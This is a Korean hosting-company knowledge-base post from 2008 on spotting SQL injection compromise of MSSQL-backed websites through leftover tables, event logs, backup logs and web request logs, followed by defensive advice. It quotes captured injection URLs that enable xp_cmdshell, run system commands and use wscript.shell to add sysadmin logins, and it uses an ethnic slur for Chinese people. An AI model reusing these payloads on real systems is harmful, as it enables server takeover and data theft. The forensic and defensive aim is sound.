Windows DB

sql injection 보안 점검

2008.05.14 23:00

hostway 조회 수:19615

Sql Injection 침해 흔적을 통한 보안점검

여러 보안 기관 및 언론등에서 자주 오르내리는 해킹사건의 상당 부분이 웹사이트를 통해서 이루어지고 있다.

왜냐면, 요즘에는 거의 대부분 방화벽등의 장비등을 통해서 막아 놓기 때문에 역시 공개되어 있는 루트를 이용해야 하는데 그것이 바로 웹사이트 이기 때문이다.

예전에는 주로 서버자체 OS나 응용프로그램의 취약점을 노리고 있으나, 최근에는 웹사이트 프로그램 코드의 취약점을 이용하고 있으며, 국내 웹사이트의 상당수가 (일부 포털의 CP 사이트 포함) 노출되어 있는 형국이고,. 데이터가 탈취 당했음에도 여전히 모르고 있는체 웹사이트가 운영되고 있다.

웹사이트 해킹은, 해당 웹사이트 파괴나 데이터 위변조에서 멈추는게 아니라 곧바로 시스템까지 해킹할수 있게 된다.

요즘에 극성을 부리는 중국(일명 짱께) 에서 하루가 멀다하고 해킹시도가 이루어 지고 있고 그 대부분이 Sql Injection, FTP 스캔, RPC, SMB 등이다.

위 통계는, http://www.krcert.or.kr/index.jsp 에서 해킹 트랜드를 확인할수가 있다.

자, 그럼 그중에 가장 위험한 DB 연동 웹사이트에 의한 데이터 위변조 및 시스템해킹 인데 그들이 어떤 흔적을 남기는지 결과를 통해서 현재 운영하는 본인의 시스템을 점검해 보는것이 좋다.

(* 샘플 일부의 내용중 서버명의 경우 SERVERINFO,serverinfo.pe.kr 로 변경함)


1. 웹사이트 연동 데이터베이스 DB 의 테이블 목록 확인.

Sql Injection 을 통해서 해킹이 된 경우, 데이터 유출을 하는 경우도 일부 있으나 대부분 시스템을 조회한 테이블을 남긴다. 일부 해커의 경우는 조회후 테이블을 삭제하기도 한다.

DB의 테이블 목록을 정기적으로 점검을 해보는 것이 좋은데, 해킹된 DB의 경우 주로 다음과 같은 이름의 테이블이 생성되어 있다.

테이블 스키마나, 레코드를 보면 테이블 이름과 비슷한 내용이 들어 있는데 주로 시스템디렉토리 목록이나 웹사이트 디렉토리 목록, 레지스트리 값 조회가 대부분 이다.



D99_CMD,
D99_REG,
D99_Tmp,
DIY_TEMPCOMMAND_TABLE,
t_jiaozhu,
Siwebtmp,
NB_Commander_Tmp,
comd_list,
Reg_Arrt,  
jiaozhu,
Reg_Arrt 테이블
xiaopan 테이블
DIY_TEMPTABLE
heige
kill_kk
SC_LOG
SC_TRAN




2. xpcmdshell 을 통한 시스템 해킹

일부 몰지각한 개발자들의 경우, 웹사이트 DB 연동계정을 sa 계정이나, 시스템권한이 있는 DB 계정을 이용하는 경우가 있는데 그때는 xp_cmdshell 확장프로시져를 통해서 서버내 어떠한 작업도 가능해져 완전 장악당하는 경우가 있다.

다음은, 보안이벤트 로그 일부 이다.  sa 같은 계정으로 연동된 웹사이트가 침해되는 경우, 대부분 SQL Server는 SYSTEM 계정으로 서비스가 실행되는데 xpcmdshell 명령을 실행하게 되면 SYSTEM 권한으로 실행을 하게 된다.

일부는, SQL 을 Administrator 같은 어드민권한이 있는 계정으로 서비스를 실행하는데 어차피 실행 계정이 서버내에서 모든 작업이 가능한 권한을 가지고 있으므로 계정을 지정한다고 해서 취약점을 피해갈수 없다. (*예)

다음과 같이 해킹용 새로운 계정을 등록하거나, 패스워드 변경 시도 및 삭제등이 가능해 진다. 아래와 같은 작업을 했다는 것은 서버내 어떠한 작업도 가능하다는 것이며 이는 완전히 장악 당했다는 증거이다.


이벤트 형식: 성공 감사
이벤트 원본: Security
이벤트 범주: 계정 관리
이벤트 ID: 624
날짜: 2005-12-15
시간: 오전 3:00:49
사용자: SERVERINFO-DBAdministrator
컴퓨터: SERVERINFO-DB
설명:
만들어진 사용자 계정:
새 계정 이름: SQLadmin
새 도메인: SERVERINFO-DB
새 계정 ID: %{S-1-5-21-1085031214-839522115-1631860264-1017}
호출자 사용자 이름: Administrator
호출자 도메인: SERVERINFO-DB
호출자 로그온 ID: (0x0,0x90F1)
권한 -

이벤트 형식: 성공 감사
이벤트 원본: Security
이벤트 범주: 계정 관리
이벤트 ID: 642
날짜: 2005-12-15
시간: 오전 3:02:58
사용자: SERVERINFO-DBAdministrator
컴퓨터: SERVERINFO-DB
설명:
변경된 사용자 계정:
계정을 사용하도록 설정했습니다.
대상 계정 이름: Guest
대상 도메인: SERVERINFO-DB
대상 계정 ID: SERVERINFO-DBGuest
호출자 사용자 이름: Administrator
호출자 도메인: SERVERINFO-DB
호출자 로그온 ID: (0x0,0x90F1)
권한: -

3. 웹사이트를 통해서 데이터베이스 탈취 시도

다음은, DB서버에서 백업을 하여 웹사이트를 통해서 데이터를 다운로드 하는 것이다. SQL 서버에서 해당 데이터베이스의 백업을 할때 백업미디어를 다음과 같은 웹사이트 디렉토리에 파일로 저장하여 백업파일로 지정한다.


18265 :
백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:19:1, 마지막 LSN: 893:19:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'c:cmd'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:19:1, 마지막 LSN: 893:33:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:www_rootserverinfo.pe.krmagdback.asp'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:33:1, 마지막 LSN: 893:47:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:www_rootserverinfo.pe.krsydback.asp'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:47:1, 마지막 LSN: 893:66:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:Microsoft SQL ServerMSSQLBACKUPyiaolu'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:132:1, 마지막 LSN: 893:132:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:www_rootserverinfo.pe.krsydback2.asp'}).

BackupDiskFile::CreateMedia: 백업 장치 'd:www_rootserverinfo.pe.krsydback2.aspzz.asp'이(가) create에 실패했습니다. 운영 체제 오류 = 3(지정된 경로를 찾을 수 없습니다.)

BACKUP이 실패하여 'update qna_AV set cnt=cnt+1 where idx=2162;declare/**/@a/**/
sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x64003a005c00770
0770077005f0072006f006f0074005c00620069007200
640074007200650065002e006e00650074005
c00730079005c0064006200610063006b00320' 명령이 완료됩니다.

백업된 데이터베이스 차등 변경: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 덤프한 페이지 수: 107, 첫째 LSN: 893:383:1, 마지막 LSN: 893:385:1, 전체 백업 LSN: 893:317:3, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:www_rootserverinfo.pe.krsydback6.asp'}).


또는, 해당 asp 파일을 생성후 해당 asp 파일 코드내에 여러가지 작업이 가능한 시스템 명령어 및 DB 쿼리 명령어를 넣어 두기도 한다.


1.asp,
2.asp,
11.asp,
111.asp
dbback.asp
dbback1.asp
dbback2.asp
dbback3.asp
dbback6.asp
C드라이브루트에. Cmd



4. Sql Injection 시도 웹사이트 로그

위와 같은 작업은 웹사이트를 통해서 하는데, 자동화된 툴을 이용하는 경우에는 웹사이트 주소줄의 레퍼러 위/변조 방법을 이용하고 직접적인 시도는 레퍼러 위조 뿐만 아니라 폼값 POST 전송을 통해서도 시도를 한다.

(* 다음은, 필자의 웹사이트인 Serverinfo.pe.kr 을 거의 매일 다음과 같이 스캔을 당하고 있다.)


http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105 and char(124)+user+char(124)=0
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105' and char(124)+user+char(124)=0 and '%'='
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105' and char(124)+user+char(124)=0 and ''='
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105' and char(124)+user+char(124)=0 and '%'='

위를 시도한 다음에,, 가능하다고 판단을 했던것 일까?.. 보다 적극적인 공격을 시도한다.
다음 레퍼러주소에 따라오는 쿼리문은 공격의 일부 샘플이다. 어떤가?.. 상상을 초월하지 않는가?.

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;DROP TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

예외,. 오류: 'guest' 사용자에게는 DBCC 'addextendedproc'을(를) 실행할 권한이 없습니다.
데이터베이스 컨텍스트가 'master'(으)로 변경되었습니다.

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105 And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_5450] order by [id]) T order by [id] desc)>0

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;CREATE TABLE [X_5450]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [X_5450](ResultTxt) exec master.dbo.xp_cmdshell 'dir c:';insert into [X_5450] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addsrvrolemember dir c:,sysadmin"'--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addlogin dir c:,xiaoxue"'--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;DROP TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--




물론, 레퍼러 버퍼를 작게(제한) 해놓은 웹서버도 있기는 하지만 그렇다고 그것이 방어의 대안이 되지는 못한다.


5. 방어

방어의 최상의 방법은, 기본적인 방화벽에 의해서 공개 서비스외는 차단이 되어 있다는 가정하에,.


1. 웹사이트에 사용자 입력이 가능한 모든 부분에 대한 예외처리를 해야 한다.

2. 사용자 입력값에 대한 정당성 체크 루틴을 필수로 해줘야 한다.

3. 그래도 안심이 안된다면, 웹사이트 오류시 절대! 웹브라우져에 오류가 발생했다는 표시를 하지 않도록 웹서버의 오류메시지를 수정해서 특정 페이지로 Redirection 처리를 해줘야 한다.

4. DB 연동 웹사이트라면, 최소화된 권한을 가진 해당 DB 에만 권한이 있는 계정을 이용해야 한다.

5. 각 웹사이트 기능별 테이블에서 select, insert, update, delete 등의 특정권한만 지정한다.

위 5가지 항목은 프로그래머가 취해야 할 부분이다.

6. Urlscan 및 WebKnight 같은 웹사이트 요청 필터를 통해서 해킹시도 문자열을 사전에 차단하는 것이다.

7. 웹서버 관련 오류나 경고이벤트 및 IIS 로그를 주기적으로 체크한다.

8. 관련 문서가 인터넷에 아주 많이 배포가 되어 있으므로 주기적으로 관련문서를 탐독 및 적용한다.



지금까지 해킹시도 로그 및 침해흔적을 살펴보았다. 솔직히 필자가 수 백대의 서버를 운영 및 기술지원을 하면서 경험한 내용의 빙산의 일각이다.

해킹 트랜드 및 기법은 날이 갈수록 정교 및 교묘해지므로 어떤 작업이나 프로그래밍을 할때에는 보안을 제1순위로 해두어야 조금이라도 안전하게 데이터 보호를 할수가 있게 된다.

보안의식이 투철해야만, 두발 뻗고 편안한 잠을 이룰수가 있게 된것이다.


                                                                                                                            출처 : www.wssplex.net